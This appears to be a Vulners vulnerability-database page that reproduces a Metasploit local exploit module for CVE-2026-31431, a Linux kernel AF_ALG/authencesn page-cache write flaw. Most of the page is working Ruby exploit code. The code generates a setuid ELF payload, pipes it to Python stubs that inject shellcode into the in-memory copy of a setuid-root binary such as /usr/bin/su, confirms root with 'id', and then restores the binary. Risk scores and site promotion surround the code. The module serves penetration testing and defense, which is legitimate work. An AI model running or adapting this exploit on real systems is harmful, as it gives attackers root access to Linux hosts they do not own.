Lucene search
K

Copy Fail AF_ALG + authencesn Page-Cache Write

🗓️ 01 May 2026 19:01:25Reported by Xint Code, rootsecdev, Spencer McIntyre, Diego LeddaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 500 Views

Linux kernel flaw lets local user inject 4-byte code into page cache via AF_ALG splice to gain privileges.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Architecture
  include Msf::Post::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Copy Fail AF_ALG + authencesn Page-Cache Write',
        'Description' => %q{
          CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the
          AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled
          4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the
          on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local
          privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.
          The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and
          affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.
        },
        'References' => [
          ['CVE', '2026-31431'],
          ['URL', 'https://copy.fail/'],
          ['URL', 'https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py'],
          ['URL', 'https://github.com/rootsecdev/cve_2026_31431']
        ],
        'Author' => [
          'Xint Code',
          'rootsecdev', # cleanup technique and additional PoC
          'Spencer McIntyre', # metasploit module
          'Diego Ledda' # metasploit module & python2.7 porting
        ],
        'DisclosureDate' => '2026-04-29',
        'License' => MSF_LICENSE,
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [
          [
            # the payload is a linux command but the target must be a supported architecture (have an exec payload and
            # PrependSetuid support)
            'Linux Command',
            {
              'Platform' => ['linux', 'unix'],
              'Arch' => ARCH_CMD,
              # Space is constrained due to the max size of the resulting ELF executable (2024 on 6.8.0-79-generic
              # x86_64, 2036 on 6.6.63-v8+ aarch64, 2028 on 5.15.44-Re4son-v7+ armv7l) if Metasploit changes the ELF
              # executable size in the future, this may need to be updated. The Space here is the largest size that
              # yeilds an ELF executable that fits all tested architectures.
              'Payload' => { 'Space' => 1847, 'DisableNops' => true }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Copy Fail'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )
  end

  def check
    stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-check.py'))
    begin
      output = run_python_stub(stub_source)
    rescue Msf::Exploit::Failed => e
      return CheckCode::Unknown("The exploit check failed: #{e}")
    end

    last_error = nil
    output.split("\n").each do |line|
      if line.start_with?('[-] ')
        print_error(last_error) if last_error
        last_error = line[4...]
      elsif line.start_with?('[+] ')
        print_good(line[4...])
      elsif line.start_with?('[*] ')
        print_status(line[4...])
      else
        print_line(line)
      end
    end

    return CheckCode::Safe(last_error) if last_error

    begin
      result = run_command('id')
    rescue Msf::Exploit::Failed => e
      return CheckCode::Unknown("The exploit check failed: #{e}")
    end

    vprint_status("run_command('id') returned: #{result.inspect}")
    return CheckCode::Vulnerable('The id command returned uid=0, confirming root-level code execution') if result =~ /uid=0(\(\w+\))?/

    CheckCode::Safe('The target system is not exploitable.')
  end

  def find_exec_program
    %w[python python3 python2.7 python2].select(&method(:command_exists?)).first
  end

  def exploit
    run_command(payload.encoded)
  end

  def run_python_stub(stub_source, *args)
    python_binary = @python_binary || find_exec_program
    fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary

    if @python_binary.nil?
      vprint_status("Using '#{python_binary}' on the remote target.")
      @python_binary = python_binary
    end

    stub = Msf::Payload::Python.create_exec_stub(stub_source)

    create_process(
      '/bin/sh',
      args: ['-c', "echo #{Shellwords.escape(stub)} | exec #{python_binary} - \"$@\"", '-'] + args
    )
  end

  def run_command(os_command)
    os_architecture = get_os_architecture

    unless [ ARCH_X64, ARCH_AARCH64, ARCH_ARMLE ].include?(os_architecture)
      # this is an artificial filter for MVP while the details for the other architectures are worked out and tested.
      fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.")
    end

    cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec")
    fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')

    cmd_payload.datastore['CMD'] = os_command
    cmd_payload.datastore['PrependSetuid'] = true
    elf = cmd_payload.generate_simple('Format' => 'elf')

    # this is useful for determining the max size that can be written by the exploit
    vprint_status("Generated a #{elf.size} byte ELF executable...")

    print_status('Triggering the vulnerability using Python...')
    stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431.py'))
    run_python_stub(stub_source, ::Base64.strict_encode64(Zlib::Deflate.deflate(elf)))
  end

  def cleanup
    # cleanup technique to restore su to the original behavior courtesy of
    # https://github.com/rootsecdev/cve_2026_31431/blob/f288952034d0d1b21c035d178c7a485dcf6a3618/exploit_cve_2026_31431.py#L183-L187
    stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-cleanup.py'))
    run_python_stub(stub_source)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.8
EPSS0.96267
SSVC
500